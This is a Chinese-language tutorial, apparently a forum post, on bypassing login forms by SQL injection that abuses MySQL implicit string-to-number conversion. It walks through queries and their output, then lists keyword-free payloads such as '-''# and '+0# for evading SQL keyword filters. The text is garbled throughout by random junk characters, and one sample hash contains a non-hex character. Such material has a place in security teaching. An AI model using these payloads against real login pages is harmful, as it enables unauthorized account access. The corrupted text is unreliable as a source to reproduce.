我们先来看这样一个场景。
, Y$ M: b0 `; Z9 ^3 k有以下表结构:
0 Y' A+ Q; k% V# z9 m1 z/ G+ V
' J% X4 C9 m- {0 [1 }1 ^mysql> desc admin;
* f% u2 m8 ?; a2 v3 g4 C7 r0 b+----------+--------------+------+-----+---------+----------------+; A. J) J. D: p. o4 `7 w
| Field | Type | Null | Key | Default | Extra |
7 W' Q' H" ?5 \6 D! k+----------+--------------+------+-----+---------+----------------+5 U; r: c: l9 G$ q
| id | mediumint(9) | NO | PRI | NULL | auto_increment |
4 y4 y+ Q, o' a* T0 i) h| name | char(32) | NO | UNI | NULL | |* _4 z. U' Q* r$ W
| password | char(32) | NO | UNI | NULL | |' ]/ \8 P* N0 C% o' Z- h
+----------+--------------+------+-----+---------+----------------+
5 @% A9 ^1 g& r' N3 rows in set (0.00 sec)) g. |; }4 q$ [; N# v
执行select * from admin;,成功返回所有记录内容。
1 _; r, s$ x8 B$ c- h& O- \0 U, ?3 m2 |8 a
2 r$ c/ n: ^: `9 S2 N
+----+--------+----------------------------------+, o4 _$ P! ]! z0 c/ I
| id | name | password |
6 {6 O# f/ w6 e. W: ?1 o# ~+----+--------+----------------------------------+
! X* y6 K9 C( [) G* N, `) G; K| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
0 {3 Q% Z3 p: q9 y. e3 l| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |0 R$ C( G7 M, j1 K
| 4 | n00b | ff80e8508d39047460921792273533a4 |; A) z H. E4 p- B$ A
+----+--------+----------------------------------+
4 R% A. R6 h2 X' J, F3 rows in set (0.00 sec)
! M% a' W+ w6 n( R; L1 m执行select * from admin where name=”;,没有匹配到任何记录。 9 f; X, ?5 B0 k; h0 D5 C
+ U* x3 h& u( R' l0 C- O7 h* Ymysql> select * from admin where name = '';# ` G# h+ N' F6 t. ]
Empty set (0.00 sec)
6 z2 {, [7 t; B A5 Y7 c那么我们来执行select * from admin where name = ”-”;: j F% A$ u$ |) Y& v2 H
/ X! x, I1 m8 |1 [
# i2 \6 Q7 t% o5 A0 C+----+--------+----------------------------------+
# d$ w, ?/ I7 M6 l0 w| id | name | password |5 i# C3 {8 E4 z& c, p( ]9 d
+----+--------+----------------------------------+0 N8 F0 G N# d. b: T1 j
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |- Q$ r" j" \3 E) j$ N
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
) z- p; e% s5 ]0 [2 k& k| 4 | n00b | ff80e8508d39047460921792273533a4 | y! T( p. [$ P! {! b5 Z8 r
+----+--------+----------------------------------+
$ Y3 N) k& Q# v; l: s3 rows in set, 3 warnings (0.00 sec)7 _$ w3 f* T7 Q# w% s; C% V
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
2 V: H. M* r1 P7 \$ N
0 ]: Y0 G! S7 o9 k" }1 qmysql> show warnings; F4 ~" \8 L0 @. r; F/ _! Y
+---------+------+------------------------------------------4 f4 k& i+ u, j+ L( }( y) |5 U5 ?
| Level | Code | Message+ j* \ n# y" i9 \* t r
+---------+------+------------------------------------------9 l/ j5 G; p8 C: q1 y2 ^6 R
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin5 p. ^( m* h1 s9 s1 G# v' G7 [
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
3 p# T3 x+ A9 O4 g8 G/ s& M| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b z" W3 i+ _. |5 u, m x
+---------+------+------------------------------------------/ x# M y7 o) i
3 rows in set (0.00 sec)
o7 d: ]; s" Z8 |$ x/ g4 T0 m提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
& F" z2 Y% _/ W% U) E# l+ e# y$ d+ H* ?1 c
mysql> select ''-'';+ ~$ X" L9 u q/ w
+-------+
3 \+ y a- M, L| ''-'' |
2 l9 i# E" ^! s$ T$ y8 G* ~* W W9 v) m+-------+" f; l1 U/ q( G9 l( @
| 0 |0 k& S5 f) [+ d0 E
+-------+6 i, x* P; q" y4 \3 s! O3 o
1 row in set (0.00 sec)
, {+ t7 o* h' y5 P# W- J返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: 3 q/ h5 W* y$ L( m4 K* E
/ u- R' x: w5 `5 U
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);$ ]! O1 v3 e) ]; M: Z
+-----------------------------------------------------+, l) w+ C0 \, ^/ r* {2 a- q/ c
| CAST((select name from admin limit 1,1) as DECIMAL) |
3 p) \: L# C5 e" ^4 {( T4 }- C+-----------------------------------------------------+8 x6 x* [0 g5 }; z0 U: U
| 0 |9 ~+ F& c: u0 M1 o( |1 |2 C
+-----------------------------------------------------+2 K- Z4 h5 j, u K" B, e
1 row in set, 1 warning (0.00 sec)
9 y. A$ w+ k" q0 U- @' R$ m* H因此where语句构成了相等的条件,where 0=”=”,记录被返回。 : I8 K* f, w% i% {# h. T1 n k, s
4 ~" j3 g1 x1 C% l, L
SQL注入场景: http://www.sqlzoo.net/hack/
6 R, t' k0 x* P/ c( v9 ]
$ B' Y2 f5 X. X% ^3 Y6 P; b' {+ O
( c/ H& R' i, q6 Z3 K- B7 r" O- A: d, {( j
, C. y0 B, s, u8 K% t& b2 z
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 T2 }7 R# c5 _$ P4 _) q
1 l1 s, X7 \" u: p6 k那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
. U- {7 r- N& d; @
5 w4 `: T9 a& T! w) _3 ?( ?$ z% _
7 @4 y+ z% w* Z* f3 c1 r; |* u _+ }( o8 V. q
& ^) ?5 N. ^8 P' n; [0 G: U3 ?仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
% @1 \! J3 E5 {* G( O' s* D( R+ m6 X
1 T. g+ x. F, V2 [ X
) _' F$ b3 H2 X0 p6 C C除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
7 }3 j3 I4 X8 W2 {( G5 L
( r, D! E$ H) w! E5 W# u
/ K5 f( m7 b( Rmysql> select ''/1;
( I x) Q. r" K% ]$ r$ F( f; s9 z+ c+------+% V+ t+ b, _% W8 P3 U1 u: u
| ''/1 |
& c, ?+ m7 v3 @3 K+ y, h+------+
% G- v2 s1 d( L7 k0 \2 c2 c( G| 0 |3 a# z& f/ p# m5 n ]: ?9 u# ~
+------+& |' d" S1 u, |9 w
1 row in set (0.00 sec)
[! ?. I/ D' }+ M类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。
' s$ Z/ r6 V( A7 ?
: C1 u( l) a% o* l& A0 O利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。" V+ d& `: `% c, D1 A( A2 Y$ d
|
|